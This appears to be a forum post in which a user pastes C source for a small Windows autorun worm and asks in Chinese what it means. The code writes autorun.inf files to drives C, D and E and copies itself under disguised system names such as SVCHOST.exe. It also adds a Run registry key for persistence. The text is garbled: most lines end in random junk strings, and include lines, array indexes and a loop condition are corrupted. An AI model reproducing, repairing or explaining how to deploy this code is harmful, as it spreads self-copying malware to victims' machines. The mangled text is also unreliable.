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#define SVCHOST_NUM 6 UdnRsp9S
#include $m*Gu:#xm&
#include xYYa%PhIC
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"}; 3Xd:LDZ{
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"}; BYM6cp+S
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL", d *gv.mE
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe", vMEN14;yH_
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"}; z rSPa\M
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f"; x:!s+q` s
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int copy(char *infile,char *outfile) o#f"wQH;p
{ OQ?N_zs,
FILE *input,*output; 9+N%Io?!
char temp; ?%Nh4+3N>
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen -NN=(p!<
TK\3mrEI
(outfile,"wb"))!=NULL)) Zc1x"j
{ Z)E)-2U$@
while(!feof(input)) a!:N C
{ 0@cIj ]
fread(&temp,1,1,input); 4y7_P0}:B
fwrite(&temp,1,1,output); t sUu
} Bgc ]t
fclose(input); o$.#A]Flb
fclose(output); 9!Mh (KtQ
return 0; -\? -
} a&b/C*R_
else return 1; 8N'hG,
} T@yQOD7
int main(void) {HEWU<5
{ *2a"2o
FILE *input,*output; gE\ ^ vaB
int i,k; X13+n2^8]
for(i=0;i<3;i++) @r*GGI!
{ S#C-j D
output=fopen(files_autorun,"w"); F7JO/U^oU
fprintf(output,"%s",autorun); 9S]pC?N]E
fclose(output); qco'neR"z
} : Z<\R0
for(i=0;i<=SVCHOST_NUM;i++) $GRwk>N
{ 3pWav 1"
if((input=fopen(files_svchost,"rb"))!=NULL) f<bB= 9J
{ h 8UhrD<:
fclose(input); +j<WP
for(k=0;k *x2!N$b
{ 8`+=~S
copy(files_svchost,files_svchost[k]); <<d#
} yP$esDP
i=SVCHOST_NUM+1; 8wkhbD|;
} O.Pp*sQ^
} 6t;;Fz
system(regadd); Iz+%wAZ|B6
return 0; 1<m`38'
}
这个写的都是什么意思。 求解答。 谢谢。。。